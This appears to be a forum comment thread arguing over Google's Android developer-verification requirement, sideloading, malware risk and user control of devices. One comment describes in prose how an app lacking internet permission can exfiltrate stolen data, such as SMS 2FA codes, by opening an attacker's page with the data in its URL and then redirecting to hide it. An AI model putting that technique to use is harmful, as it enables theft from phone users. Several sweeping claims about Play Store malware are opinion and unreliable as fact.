- Hell, even I, as someone who has deep intimate knowledge of Google Play Billing, got scammed by an app when upgrading from their weekly to their monthly offer, with them now charging both.
Google can intervene at any point here, they have reviewers, they control the store, they control the browser, hell, they basically control the device. And they have rules and policies for it, but it's convenient for them to ignore it. They have their cash cows and will fight tooth and nail to protect them as long as it makes them profit.
> Websites asking for notification permission just to spam with unrelated malware or porn notifications
People have been giving Apple shit forever for not supporting this "web standard" in Safari, but it's 99% used nefariously for this exact purpose. Websites should not be able to send push notifications.
I do not want websites to have equal capabilities to apps. Installing an app on my device is a very purposeful decision I make that I only do if I'm trusting it and willing to manage its permissions. Visiting a website is not.
I set my parents up with a computer and locked it down nice and good. A few months later they called me asking me about this full screen message they couldn't figure out how to make go away that was demanding they call Apple or Google for tech support.
I was able to remote in and close it. Then I noticed the message saying uBlock Origin had been disabled in Chrome (because Google broke ad blocking).
I actually filed a complaint with the WA Attorney General over that. My older parents got hit by that exact process. So there’s at least a public record complaint that Google is now actively blocking cybersecurity technology (because that’s what adblocking software ultimately is).
Driving is also extremely dangerous for the less congnitive able, that doesn't mean that we should let BMW decide where and when you are allowed to drive.
We also don't trust old people to live on their own, that doesn't mean we force every adult into dormitories.
Driving is licensed and regulated by the government. Are you suggested internet licenses that required semi-regular tests and strict enforcement by governments?
Interesting choice to cherrypick and then straw man one part of one example.
They didn't say the government should get to decide where someone drives; it was the OEM, BMW in their example. That is basically what Google is doing here by locking down a previously open-ish platform.
Having a license doesn't mean you are restricted in where you can go unless we start considering the fringes like provisional (learners') permits complete with curfew. Therefore, your example doesn't fit. But OP's does, because it is equivalent to asking "do you think your refrigerator should refuse to cool items manufactured by an entity it doesn't like... to Keep You Safe(tm)?" Maybe you buy from non-verified cottage industry workers at the local farmers market. People who maybe didn't upload their PII and licenses to the refrigerator manufacturer, so it refuses to operate until you remove the offending item. Out of the utmost respect for your safety, of course.
Imagine if Charter Communications/Spectrum decided to block you from using their service and modem/routers from accessing any media created by Universal (owned by their rival, Comcast). It doesn't really have anything to do with safety, but they could pearl clutch and blame it on some risqué content that Universal releases via its imprints.
Then maybe it should be more opt-in. We're losing settings and configurability as time goes on. And like encryption it can be a one way street, requiring a full reset to turn it off. That's open security. This is a cash grab
you're describing the dangers of the open internet, but this is about the dangers of non-app-store apps. android already makes it quite difficult to side-load non-app-store apps; certainly not something a tech-illiterate user could do by accident.
Completely agree. We seem to have forgotten the word "spyware", I don't see it used anymore because it became the norm. But let's call things by what they are.
Exactly this; the vast majority of people cannot be trusted with root access. And for those that can, the majority won't need or want it.
While I do believe root access should be possible, it shouldn't be easy. Because I'm confident my dad who wants to pirate F1 instead of pay for whichever overpriced premium streaming platform bought the rights this year would root his ipad and install a dodgy stream player if it was easy.
> Tell that to all those assholes that are making malware and scamming society on billions.
And then? I don't know how many times I've downloaded APKs, including obviously malicious ones by accident. But not once has it ever been installed - not even when it was deliberate. The only way I ever 'sideloaded' anything is using 3rd party stores (just fdroid and aurora in my case), which themselves had to be installed via ADB after enabling developer mode. If you have that much skill, you're almost surely skilled enough to understand the security implications of sideloading and choose wisely.
And there are far worse malware available on play store than anything on fdroid repositories, if anything at all - anonymous or not. I hope you remember the SimpleMobileApps fiasco. People who installed it from fdroid were safe from the malicious update, but those who did it from play store were not, when the entire suite was turned into a spyware overnight. Not to mention the tea and boxscore apps scandal. Neither would have made it into fdroid. Google cares the least bit about security, if that isn't clear from the spyware tht each new android phone comes bundled with.
In all, Google's claim of security here is deceptive and farcical. The actual target is going to be the patched apps like revanced, root access software and anything else similar that allows the savvy user to escape the unfair and arbitrary limitations imposed by Google. The ultimate target is the users' pockets. This entire discussion is full of people reaffirming that conclusion. But scapegoats will be found and sacrificed regardless. Let's just not for once. Google deserves the atmost and undiluted contempt and condemnation for their greed and their willingness to erode consumer rights that underlie such dishonestly worded hostile and unilateral decisions.
To install 3rd party APKs on Android involves deliberately removing some guard rails. You need to allow it in settings, you need to enable developer mode, you need to agree to each individual source as a trusted source. If people are still blaming malware on this, when malware exists in the actual Play store, then they're delusional.
Right now, the average Joe can't click a link and install a 3rd party app. Meanwhile, you can install malware from the actual authorised sources, or even just come across a vulnerablity in chrome.
Keeping your devices up to date with security patches will save orders of magnitude more people from malicious software than stopping 3rd party app installation.
I occasionally develop Android apps for myself (mostly out of curiosity and experimentation, but sometimes out of a need for some particular functionality). I'm not going to apply for some developer permit and verification just to do this. I may as well buy a damn iPhone.
> You need to allow it in settings, you need to enable developer mode, you need to agree to each individual source as a trusted source. If people are still blaming malware on this, when malware exists in the actual Play store, then they're delusional.
To be fair to the security folks at Google, people will follow these steps like clockwork. The only thing they care about is getting the app on their device.
The root cause of all of this: banking/finance/payment apps figure they can trust your device, because no one has regulated a universal trust root into existence. Google encouraged this with SafetyNet/Play Integrity, and convincing Visa/MasterCard that devices can be trusted for contactless payments.
Now there's one gaping hole left: you can still install unverified software from anywhere, and said software will use all tricks possible to convince users to grant accessibility permissions and give up the keys to the kingdom. There have been many attempts over the years to make this harder, but malicious apps are getting even more sophisticated, to the point of installing shortcuts to entire fake versions of your banking app on the home screen.
So Google is being pressured by governments and markets to make it harder to produce installable malware, when a better way to prevent malware while protecting user freedom is already here: passkeys. You cannot steal passkeys with a third-party app, no matter what tricks you try, because they are tied to domains and APK signatures. Stop trusting stealable credentials and you stop needing to trust the entire hardware and software stack behind the app calling your backend.
Google themselves promotes malware - take a look at the play store. Adware, adware, adware, name meant to confuse people, more adware, probably has a keyloggers, adware adware, probably steals your data, adware adware.
For fucks sake, Meta is at the point they're pulling malware tactics to sell ads.
Circumventing permissions for app to browser talking? Really? FOR ADS? Thats where we're at?
I'm over it. Anyone who thinks this has even the faintest thing to do with malware is legitimately delusional. Not misinformed, delusional.
Malware is not a huge problem that requires restructuring the entire ecosystem to be closed and authoritarian. Nobody I know has ever had problems with malware or scams on Android.
This has nothing to do with malware, and has everything to do with locking down the Android ecosystem to keep out competitors to Google's services.
I know literally 0, 0 people who have installed malwares or had their smartphones hacked in their life times.
The very few I know that have had this happen where all computer users, and virtually all victims of social hacking such as "hey, I'm from IT department, sending you an email, could you please...". A friend of mine exposed sensible data of thousands of customers of her bank like this.
well, as someone working in a department that also has Fraud detection responsibilities, the amount of users that lose tons of money because of scam apps, spoofed apps, identity stealing apps, is big. Like insanely big. I am all for it that these apps get significantly harder for the average joe to install or run on their phones.
It's a considerable number well into the 8 figures $/year that we have to cover (Granted this number is not specifically smartphones, also includes desktops, but I know smartphones is the bigger piece nowadays.)
(insuring this is near impossible, there is always a large part risk we have to pay ourselves and cannot cede to a reinsurer)
The problem isn't play protect or whatever the fuck, because 80% of the play store is malware, adware, and spyware anyway.
The problem is actually Google and other big tech.
Let's consider: why are users installing so many apps?
Because, on desktop, this doesn't happen. We don't ask people to download and run an EXE to look at their friends funny cat photos. No, we open the web browser.
The reason we have so many apps on mobile is because we require the malware. Google requires the malware. We need to be able to run privileged and unsandboxed code on users devices and this is the world that Apple and Google have created.
Users shouldn't be fucking downloading apps for 90% of the stuff they do anyway - including the non malicious apps! But they do, because they have no choice.
Think about it. Provide a web interface and miss out on juicy spyware? Or install executables on your customers systems? Apps are far too enticing for big tech.
so somehow my friends and family got hacked, lost money but don't know about it?
actually i know of one case where my mom got billed for airbnb even tho she didn't book the ticket but pretty sure I had her password in a text file so might've been me that got hacked on my PC.
Airbnb refunded her and then had no more issues. So 1 case in my entire life and it probably wasn't on a mobile device.
You can get hacked without losing money. If you devices gets used in a bot net, if your computer gets used to mine crypto, etc. Your work files gets stolen by hackers and sold to competitors in china, etc.
Fair enough, but besides mail spam which is filterable and DDos for which there are counter services, does it really impose that big of an issue to justify such a strict lockdown?
> mine crypto
Considering how little mining power mobile devices have and how anyone would figure out pretty fast there's a problem with heat / battery issues from it idk if that's really realistic these days. Hard to keep this one hidden while also profitable
> work files gets stolen
I think this has already been solved by corporations on PCs, there are already solutions for locking down a work issues laptop as for phone I think that's rarely an issue since people mostly use it for communications so probably rare for really sensitive info to be on there.
Overall those issues don't really hit me as that critical to impose such measures and there are ways to severely limit impact for people that care about security
> Considering how little mining power mobile devices have and how anyone would figure out pretty fast there's a problem with heat / battery issues from it idk if that's really realistic these days. Hard to keep this one hidden while also profitable
I mean, check out HiddenMiner, ADB.Miner, HummingBad, WireX…
I agree that this is an overreaction, but the problem is real, and the fact you don’t know anyone who knows they’ve had a malware infection doesn’t mean that that is reality.
You don't have to prevent root access. You just have to inform user of the risks, void warranties if you want but let users do whatever they want with the hardware that they own.
Please don't push the Overton Window any further. Installing my own software on my own PC should never void the hardware vendor's warranty. That delegitimizes the core concept of a PC.
(A horrific possible dystopia just flashed through my mind: "I'd love to throw out Chrome and install Firefox so that I could block ads, but, the laptop is expensive, and I can't afford voiding the warranty". I bet Google would *love* that world. Or, a UK version: "I'd love to use a VPN, but, regulation banned them from the approved software markets, and anything else would permanently set the WARRANTY_VIOLATED flag in the TPM").
It depends on what your software does; if it removes hardware protections then your warranty should be voided. Of course, those protections are either hardware or impossible to remove, like emergency cooling / lowering voltage when stuff overheats.
Warnings aren't always enough, sometimes we have to lock people down and physically prevent them from harming themselves.
It's not always people being stupid. I recall reading an article by someone who got scammed who seemed generally quite knowledgeable about the type of scam he fell for. As he put it, he was tired, distracted, and caught at the right time.
Outside of that, a lot of the general public have a base assumption of "if the device lets me do it, it's not wrong," and just ignore the warnings. We get so many stupid pop-ups, seemingly silly warning signs (peanuts "may contain nuts") that it's easy to dismiss this as just one example of the nanny state gone mad.
I’ll take a real world example where I watched someone start to climb over the side of a bridge. Luckily my words stopped him but I did consider whether I should pull him back and pin him to the ground for his own good.
Is your position that it would be better for his freedom for me to let him jump if I couldn’t dissuade him?
> sometimes we have to lock people down and physically prevent them from harming themselves
So where does my statement suggest we should make locking people up for their own good the norm?
I can come up with even more mundane examples of where we physically prevent people from harming themselves. High barriers to stop people getting into the tiger enclosure. If a member of staff saw someone dumb enough to try and climb in, rest assured they'd be physically dragged out for their own safety.
Or do you suggest we allow the general public to wander into the tiger exhibit to pet the animals? Personal freedom and all that.
Even if it's illegal? (like transmitting on forbidden frequencies)
It's not always the user who's installing software. Lots of people depend on other people to manage their devices. Manufacturers like the hardware they delivered to be trusted so users trust it regardless of who handled it.
I always hear as the excuse but it is ridiculous. If the user wants to transmit on "illegal" frequencies, all he has to do is to change the country setting in their Wi-Fi router, et voilà, illegal transmissions.
The entire Android OS has about as much access to radios than your average PC, if not less. In fact, even on recent android devices, wireless modems still tend to show up to the OS as serial devices speaking AT (hayes) (even if the underlying transport isn't, or even if the baseband is in the same chip). Getting them to transmit illegal frequencies is as much easy or hard as is getting a 4G USB adapter to do it.
At least in EU, transmitting is illegal, having hardware to transmit is not.
That's why people can buy TX/RX SDRs and Yaesu transceivers without a license.
AFAIK the radioamateur world, serious violations of frequency plans are rare and are usually quickly handled by regulators. OTOH, everyone is slightly illegal, e.g. transmitting encrypted texts or overpowering their rigs, but that's part of the fun.
And in some locations, quickly handled by the local amateur community, with foxhunts and community outreach to frequency violators - only getting regulators involved when just talking to the offenders fails.
> Even if it's illegal? (like transmitting on forbidden frequencies)
That's not relevant here. If frequencies are illegal, it should be impossible to program it in such a way. But even otherwise, it's the responsibility of the user to follow local laws. If I have a PTT phone, it's not legal for me to use forbidden frequencies just because it's possible. Why do these manufacturers care about what doesn't concern them when they violate even bigger laws all the time?
> It's not always the user who's installing software. Lots of people depend on other people to manage their devices.
That should be up to the user. Here we are talking about users who want to decide for themselves what their device does. You're talking as if giving the user that choice is the injustice. Nope. Taking away the choice is.
> Manufacturers like the hardware they delivered to be trusted so users trust it regardless of who handled it.
I see what you did here. But here is the thing. Securing a device is not antithetical to the user's freedom. That was what secure boot chain was originally supposed to accomplish until Microsoft managed to corrupt it into a tool for usurping control from the user.
Manufacturer trust is a farce. They should be deligating that trust to the user upon the sale of the device, through well proven concepts as explained above. They chose to distrust the user instead. Why? Greed!
> If frequencies are illegal, it should be impossible to program it in such a way.
You know there's a very fine line between hardware and software in this case so you're actually advocating for drm like control here.
> They should be deligating that trust to the user upon the sale of the device, through well proven concepts as explained above.
That same user who forgets passwords and recovery keys all the time and loses all access to documents when a device breaks? And you're presuming giving that kind of person who doesn't understand sh*t about backups, device security etc full access to their devices will not result in a lot of compromised devices?
I'm not sure manufacturers are the best party to trust but they have an interest in a secure reputation, which the majority of dumb users or eavesdropping governments do not have.
> They chose to distrust the user instead. Why? Greed!
There are more reasons to distrust the user. I don't buy greed is the only relevant one.
> so you're actually advocating for drm like control here.
Absolutely not. I'm saying that the hardware shouldn't have that capability at all in the first place. But whatever. Don't restrict it. Those functionalities are usually under the control of the kernel. If the user is smart enough to tinker with the subsystems at that level, they're also smart enough to deal with the consequences of its misuse. That isn't a good justification to just lock down devices like this. The harm that comes out of that is much worse than what anyone can do with an RF baseband chip.
> That same user who forgets passwords and recovery keys all the time and loses all access to documents when a device breaks? And you're presuming giving that kind of person who doesn't understand sh*t about backups, device security etc full access to their devices will not result in a lot of compromised devices?
Yeah, so? It's not like such a person is ever going to unlock a complex safety lock. Examples for that exist already. Who can sideload an app into a fresh Android device without enabling the developer mode and then installing the APK through ADB? Dumb users won't ever persist enough to reach there. To take it further, the user can be given the root key to the secure boot chain on a piece of paper with the explicit instruction to not share it with anyone or even use it if they don't know how to. Ordinary users can then go on about their day as if it is fully locked down. It's unfair to deny the control of the device to the smart user, when such a security is possible. The existence of a dumb user is not an excuse to lock out smart users.
> but they have an interest in a secure reputation, which the majority of dumb users or eavesdropping governments do not have.
I guess you haven't seen the spyware that OEMs ship with the android devices. Even Samsung is notorious for it - especially on their smart TVs. I'm not going to talk at all about the Chinese OEMs. For that matter, it's very hard for a normal user to even uninstall facebook - an app that's known to collect information from the device that it doesn't need. Manufacturers caring for their security reputation was some 20 years ago. Only Apple does it these days, just because it's their highlight feature. But even they tried once to ship off images on the phone to iCloud without the users' permission to 'check it for csam'. The rest treat it like a portable spying device on steroids.
> There are more reasons to distrust the user. I don't buy greed is the only relevant one.
Trusting the user isn't the manufacturer's prerogative. It's supposed to be the user's property once they pay for it. You are insisting on the manufacturer retaining control even afterwards - something I and many others vehemently oppose as unfair and scummy. Now if you are worried about the security reputation, proven methods exist that allow the smart users to take full control of the device while preventing regular users from shooting their own foot. But OEMs and their apologists pretend that the problem is entirely on the user side and the only solution is to lock it down in a block of glue. And there is one good reason for this ignorance, oversight and denial - greed. Retaining control over the end device forever allows them to squeeze users for their every last penny. I will need another epic post just to enumerate the ways in which the control over the end devices allows them to do so. But I'm not going to do that because HN has entire stories and discussions on each of those topics.
Especially if it's illegal (like speaking against the government, in some countries).
Maybe this is a bit of a hot take, but I think any government that has the ability to absolutely prevent people from breaking the law is a government with far too much power. I'm all in favor of law enforcement, but at some point it starts to cross over the line from enforcement to violation of people's free will.
Yes, very clear warnings; I could live with a small permanent icon in the status bar (via the GPU firmware) etc. But absolutely should not void warranties (overclocking might but never just root).
Easy enough to have an efuse blow if you overvolt; then an dificult conversion on a warrenty claim. Whilst ideologically this is ceeding some control I can accept it.
I don't think users understand the risks. I'm broadly accepting of the protection of end users through mechanisms. Peoples entire lives are managed through these small devices. We need much better sandboxing to almost create a separate 'VM' for critical apps such as banking and messaging.
The people who shouldn't disable these security features tend to be the first to do so. And then complain the loudest when the enter the "find out" phase.
That's not what it's ever actually about. You're buying a disingenuous framing that pins blame on the bottom when all these harmful trends come from the top. This isn't to protect grandma, it's to protect Google. This is always what happens when you allow pockets of power with interests misaligned from those of most people. The pockets of power get their way, and people are worse off.
The thing is, even if Google has a hidden motive in this case, the prevailing public morality doesn't allow you to argue against a measure designed to protect the weakest and poorest among us. Once a vulnerable group has been invoked, the public stops caring about their rights, the cost-benefit balance and most other rational concerns.
I think the phenomenon is most visible in the United Kingdom. Not just with respect to the recent age verification measures, but also with respect to the government's recent financial misadventures.
That's not entirely wrong but I dislike the framing.
It appears to transfer the guilt of a successful deception that manufactures consent to public morality and the vulnerable. The real issue is it couldn't succeed without mendacious officials that suffer no consequences and uncritical/supportive media pushing the ball across the line.
It's also a much broader phenomenon than "protect the vulnerable". There are many other overused buttons they press to seek consent e.g. fear being the most common. Fear of terrorism, fear of job losses or tax rises, prejudice of others etc.
Of course it's a disingenuous framing. A certain kind of person is both attracted to power and deathly afraid of people voicing unapproved opinions "outside their kitchens".
Things can have multiple justifications, some public, some not: some conscious, some not. Central control and a feeling that a parental figure is in control of the tribe primes, at a primal level, a certain kind of person to like an idea. The specific post-hoc justification is almost incidental.
That said, such things need a semblance of legitimacy to work. It'd be much harder to crack down on general purpose computing under the guise of safety if we had cultural antibodies agains safetyism in general.
I have a friend from college who once clicked on a link to download more RAM for his PC. He has a PhD now and deserves it - the PhD just isn’t in anything tech-adjacent. Bottom quintile is a floating signifier.
It's just not possible to prevent mistakes while letting people color outside the lines. Most brilliant ideas look like stupidity at first. I want to live in a world that biases towards discovery over safety.
There is not much to discover from e.g. not using seatbelts. There is absolutely a need to protect a population from itself which should cover certain stuff, while not others.
> There is absolutely a need to protect a population from itself which should cover certain stuff
No, there isn't. I'd much rather live in a world where we were able to make our own decisions about personal safety, regardless of how poor those decisions are.
In a perfect world, nobody would be forced to wear a seatbelt and yet everyone would eagerly wear one.
I'd also much rather live in a world where everyone does the right thing, there's no greed, stupidity and short-sightedness. Unfortunately I have to make do with our current one. The fact is that a lot of people are stupid. Even very clever people often act irrationally and against their own interests. In the end, we have to strike a balance between personal freedom and the need to protect people from themselves.
Let's look at the case of mandatory seatbelts, and entertain your proposition that people don't need to be protected from themselves. What will happen?
Well, quite a few things are basically inevitable:
1. The issue will be politicized and there'll be hardliners who refuse to wear seatbelts. There are people who are vehemently against wearing full face helmets while riding motorbikes, even though the injuries from faceplanting into the road at speed are truly ghastly.
2. Once the number of people not wearing seatbelts goes up, a whole slew of interesting negative externalities pop up (and you seem to be gleefully ignoring these):
2.a) Simple fender benders will suddenly result in severe and fatal injuries instead of scuffs and bruises.
2.b) Insurance costs increase to cover the higher likelihood of injuries.
2.c) Fewer people can afford insurance.
2.d) Society has to bear the burden of treating and supporting people who get maimed and need lifelong care.
So what is your proposal to do here? What would you do with a person who didn't wear a seatbelt and got severely brain damaged due to this? Just abandon them to die? It was their choice after all. Who should bear the burden of treating these people? Do we now have tailor made insurance for those who don't wear seatbelts? What if these people will simply opt out of insurance?
At the end of the day, a society has to make a few pragmatic tradeoffs and limit certain freedoms as the cost is just not worth it.
For the issue of people not wearing seat belts causing insurance premiums to rise for all, a solution is for insurance companies to be allowed to refuse compensation in cases where seat belts weren't properly used.
And yes, if those people have no way to pay for extreme medical treatments to save their life, they shouldn't be provided further assistance. They should bare the consequences of their decisions. Future generations will hopefully make smarter decisions as a result.
Your comment is a perfect example of the worldview I described. Your argument is essentially that without rules stupid people will do foolish things and get hurt.
Yes, they will. So what? That's the price of freedom. I've never been a fan of slave morality.
> Who should bear the burden of treating these people?
You're arguing that we're all the hook if we let people do dangerous things and clean up after them when they screw up. There are two ways out of this situation, not one.
There's a direct line from mandating seatbelts to mandating developer certificates. If you accept in one domain that it's legitimate for power to reduce freedom to protect people from themselves, you'll accept it in every domain.
Look: in order for a mandate to be justifiable, it needs to at least provide superlinear benefit to linear adoption. That is, it has to solve a coordination problem.
Do seat belts solve any coordination problem? Do they benefit anyone but those wearing them? No. Therefore, the state has no business mandating them no matter the harm prevented.
A certain kind of person thinks differently though. He sees "harm" and relishes the prospect of "protecting" people from that "harm". They don't recognize the legitimacy of individual bad decisions. The self is just another person trying to hurt you. This kind of person would turn the whole world into a rubberized playground if he could.
> Do seat belts solve any coordination problem? Do they benefit anyone but those wearing them? No. Therefore, the state has no business mandating them no matter the harm prevented.
If drivers were the only ones who wore seatbelts, you would have a point. In practice, seatbelts save the lives of the passengers, spouses, kids, etc. who are riding in the car, and hence this is indeed a coordination problem.
I see no other way than regulation to force the two to provide drivers and manuals for alternative OS makers.
We should've nipped it with Apple, but there was so much _whatabout_ing that the conversation always go sidetracked with assertions about the free market and what not. It turns out, there is no free market, and we're just living in someone's managed device walled garden.
Why do we need app stores in the first place?!? No app stores => no vetting, let users download whatever apps they choose, and deal with the consequences.
Agreed. The store are unnecessary and sold under the guise of "protecting" the user, when it's really about controlling user use, keeping them ignorant and spying on them.
Google does not care if your data is leaked by an app offered by some nebulously defined verified developer that phones home without reason, or that you develop a problem with online gambling or predatory micro transactions, etc. Blows my mind that we have come this far in the fight for user rights, ownership and accountability and still the majority is going to just trust Google because they're Google. No corporation is your friend. Let the users operate the device they paid for* as they see fit, learning to accept the responsibility for for all the success and failures that come with it and we will suddenly start seeing much, much smarter users.
Mostly it's about milking app sales with the app store fees. Apple for instance get's about 15-20% of it's gross profit from app store fees. For Google it has been estimated that play store fees make up about 13% of their Google services profit.
I think initiatives like this are a form of "marketing" to show that "hey, app stores are important because we protect the users. We shouldn't be regulated away."
App stores are riddled not only with spyware and malware, but also with harmful content like gambling apps targeted at kids. And they claim some moral high ground as an excuse to ever more pervasive spying and control? Fuck me, Stallman was right all along.
It's a tricky balance-act to secure their ecosystem.
The more measures they take to secure it while allowing the user to decide whether to participate, the more drastic this opt-out user-decision becomes.
In order to now preserve that "open ecosystem", they would have to provide the user an option to disable Google Services entirely, which would turns the device almost into a separate product
All this is unlikely to happen just for the sake of "pleasing the community", I believe we need a general legally binding definition of what functions the user owns if (and when) a device is stripped of any services on top.
If my car loses functions once it loses connection to the manufacturer, this bare set should be communicated as the purchased value ("in exchange for your money"), separately from any on-top "in exchange for your data" business-model
The problem is phones became too important. They get trusted more than desktops for things like banking and ID verification.
Feeling like the optimum solution is to just have two devices. Your phone that has all of your banking, ID, etc. and another device that’s completely open, can install whatever you want on, but doesn’t matter too much if it gets hacked.
If this is a reasonable direction, it could still be achieved on the same device. There would be sufficient security architecture available to completely isolate those two areas.
But I feel the issue is less about malware gathering your banking, ID etc, but malware holding your data hostage, using your (social) network for nefarious purposes or tricking you into something you don't want to do.
And for all those cases, having that "other" device doesn't help.
> If this is a reasonable direction, it could still be achieved on the same device. There would be sufficient security architecture available to completely isolate those two areas.
The problem here is: Who controls the means of input and output - the screen and keyboard? The trusted identity thingy sometimes needs to show the user some details, have them key in a pin number, things like that. So they know whether they're approving a $2 in-app purchase, or a 10-bitcoin transfer.
If the free and open part of the system controls the screen and keyboard, the details could be shown wrong and the pin number could be keylogged and replayed later.
If the secure-and-locked-down part of the system controls the screen and keyboard, the free and open part of the system is basically reduced to an app or website.
And if the secure-and-locked-down part of the system has its own separate screen and keyboard - it's hardly the same device.
No, but I find the supported options to customize Android sufficient for my needs so that wouldn't happen to me personally.
My point is only that there's already a system that lets you run whatever apps you want, and to heavily customize the OS, and also make your bank happy by running a secure OS. It's just out of the box Android. You can replace all the built in apps, including the base "desktop" GUI, keyboard and browser. So this discussion revolves around an edge case: someone who wants to customize security-critical OS primitives like the kernel or compositor, AND who isn't doing this as part of a project big enough to partner with Google, AND who wants their bank to accept their changes as secure enough, AND who doesn't want to provide such institutions with some non-Google managed evidence of that, AND who doesn't want to tolerate using two devices.
There's very few use cases for that. The only one anyone can seem to muster in this thread is to prepare for a hypothetical future in which Google prevents ad blocking at the OS level, which hasn't happened in more than 15 years of Google being an ad company. So today there is a vanishingly small number of people for whom Android's existing mechanisms are insufficient, and for those people, there is dual boot - again, because the Android team planned for this and built a secure boot system that allows alternative OS installs on a phone.
And get judged for their reactions, as is proper procedure.
Why am I reading today articles that present an apocalypse without clearly specifying if there is a "way out OS flag" (allow installation of unverified APK)?
Very true and this was predictable. That said, I haven't installed any apps for months now since I don't consider Android to be a usable OS anymore. It could be technically, but I have no will to fight Google and manufacturers on their lock down ambitions.
Ironically that degraded phones to be just that. Phones with build-in high quality cameras. For everything else there are better alternatives.
Sure. You will have the right to root, unless on a device with a locked bootloader. /s
Lets just call it what it is and what we all want. "The right to modify". It doesn't give you the right to copy, so it will never break any law protecting intellectual property.
That doesn't make sense. How do meet your own needs and desires if you can't use your own property the way you want?
And isn't the point in this very situation that people simply can't buy what they want because Google and Apple are a duopoly and now Google is going to follow the path of restricting what you can do with your own property?
The logic here seems to be "I don't care about freedom because my jail cell is large enough." What if you wake up one day and it isn't?
Your response reminds me of Snowden's quote, which I'll likely butcher because it's from memory, but roughly: "Saying you don't care about privacy because you have nothing to hide is like saying you don't care about freedom of speech because you have nothing to say".
I'm 45 years old. I've woken up 16,000+ times and it's been fine.
I know what I do on computers/phones/iPads. I know that every computer/phone/iPad I've ever owned has done more or less what I wanted. I'm usually the weak link, not the device.
I don't go to bed worried that the sun is going to rise in the West. I've got things that seem likely to happen to worry about.
If I were in the 0.01%, savings wouldn't be a thing. I wouldn't even need a home. Just go around staying wherever I like for as long as I like doing whatever I want. I wouldn't really care about what google or apple does with their devices, who attacked or defeated whom and all that bs because I wouldn't be in survival mode.
At least this is probably how people in charge of enshittification think like.
This is based on the false assumption that the free market solves every problem.
But the reality (which was correctly identified by Adam Smith himself) is that the effort required to enter a market can sometimes be so high, that we practically end up with oligopolies, see mobile OSs. They require a network effect to make sense, so the entry cost is not just developing the product, but also to somehow convince basically every other player to consider you a target platform - which is a cyclical problem that you can't just bootstrap yourself into. Even Microsoft failed at it, even though they were paying hefty sums to companies for apps working on their OS.
Personally...we all know the Play Store is chock full of malicious garbage, so the verification requirements there don't do jack to protect users. The way I see it, this is nothing but a power grab, a way for Google to kill apps like Revanced for good. They'll just find some bullshit reason to suspend your developer account if you do something they don't like.
Every time I hear mentions of "safety" from the folks at Google, I'm reminded that there's a hidden Internet permission on Android that can neuter 95% of malicious apps. But it's hidden, apparently because keeping users from using it to block ads on apps is of greater concern to Google than keeping people safe.
> we will be confirming who the developer is, not reviewing the content of their app or where it came from
This is such an odd statement. I mean, surely they have to be willing to review the contents of apps at some point (if only to suspend the accounts of developers who are actually producing malware), or else this whole affair does nothing but introduce friction.
TFA had me believing that bypassing the restriction might've been possible by disabling Play Protect, but that doesn't seem to be the case since there aren't any mentions of it in the official info we've been given.
On the flip side, that's one less platform I care about supporting with my projects. We're down to just Linux and Windows if you're not willing to sell your soul (no, I will not be making a Google account) just for the right to develop for a certain platform.
It's never about security (at least not user's security). It's like you pointed out only about power and locking in customers. They don't care if your phone gets hacked or you bank account drained. They care about the bottom line. Android is fine. Google should have 2 layers if they're worried playstore 1 has only well vetted authors and apps. playstore 2 can be the free for all (mostly) of the current store. These could be two different apps or prominent tags. Choice is good, lock down is bad. Corporate does not like employees or customers to have freedom, that's why it's our duty to fire people like the current US regime who always side with corporations over customers.
The thing is that people sideloading good non-malware apps because they want to is also a thing, and all kinds of icky apps that abuse permissions but are still verified and installed through the Play Store are also a thing. This doesn't really change what is a thing. It just moves more stuff under Google's control.
security is the "Save the Children" of technology. It's not that there isn't a theoretical thing there, it's that in the real material sense, the actual actions taken are power grabs for control and suppression.
> Attackers convincing users to side-load malware is a thing.
Sure. It’s also not Google’s problem.
It’s not Victorinox’s problem of someone uses a Swiss Army knife to cut someone else. It’s not Toyota’s problem if someone deliberately runs over a pedestrian.
Car companies do care if their cars are easy to break into and will improve the security of newer models, even if any particular theft is not their fault.
If they don't do that then their reputation will suffer and governments might take notice. So, in practice, big companies do have to care about their users, not individually but in aggregate.
That's a bad analogy. No one is complaining about Google providing Android security updates.
This is like a car manufacturer preventing the installation of all unapproved aftermarket accessories by claiming they're protecting you from a stalker installing a tracker on your car.
I don’t actually think it’s that bad. If all of a sudden we started hearing an awful lot about Android phones having viruses, to the point where almost everyone had a friend who got a virus on their android. I think the market would actually shift. We’d probably see more people moving to iPhones.
> Car companies do care if their cars are easy to break into and will improve the security of newer models, even if any particular theft is not their fault.
Didn't Kia go over a decade without caring or improving until the Kia Boys stuff?
What is the source for this extraordinary claim? Also, malware hosted in the play store has the property of being tied to an identity which can be banned.
1. Most users do not use fdroid or APKs to download software. They download software from the play store.
2. Therefore almost all malware will target the play store.
3. Therefore most malware actively used comes from the play store.
4. Compounded, the play store does almost nothing to prevent malware and actively encourages certain types of malware like spyware and adware.
5. Compounded, Google gets a cut from each piece of malware sold on the play store or advertised on the play store, therefore they have no incentive to prevent malware in any significant way.
> Every time I hear mentions of "safety" from the folks at Google, I'm reminded that there's a hidden Internet permission on Android that can neuter 95% of malicious apps. But it's hidden, apparently because keeping users from using it to block ads on apps is of greater concern to Google than keeping people safe.
You've never needed the internet permission to exfiltrate data. Just send an intent to the browser app to load a page owned by the attacker with the data to be exfilled in the query parameters.
It'd launch the browser app. You can have your evil page redirect to a benign page so it just looks like Chrome randomly opened or whatever. It is not as powerful as full network access as you can only send so much information in query parameters, but if you are doing some phishing or stealing sms 2fa codes or whatever then it is plenty to send back whatever payload you wanted to.
And of course basically every app requires internet permissions for ordinary behavior. The world where an explicit internet permission would somehow get somebody to look askance at some malware that they were about to download is just not believable.
> had me believing that bypassing the restriction might've been possible by disabling Play Protect, but that doesn't seem to be the case since there aren't any mentions of it in the official info we've been given.
I don't think we can know for sure before the change is actually in place. Going through Play Protect would certainly be the easiest way of implementing this - it would be a simple change from "Play Protect rejects known malware" to "Play Protect rejects any app that isn't properly notarized". This would narrowly address the issue where the existing malware checks are made ineffective by pushing some new variant of the malicious app with a different package id.
It's a big change for the ecosystem nonetheless because it will require all existing developers to register for verification if they want to publish a "legit" app that won't be rejected by any common Android device - and the phrasing of the official announcements accurately reflects this. But this says nothing much as of yet about whether power users will be allowed to proactively disable these checks (just like they can turn off Play Protect today, even though very few people do so in practice).
> This is such an odd statement. I mean, surely they have to be willing to review the contents of apps at some point (if only to suspend the accounts of developers who are actually producing malware), or else this whole affair does nothing but introduce friction.
Requiring company verification helps against some app pretending to be made by a legitimate institution, e.g. your bank.
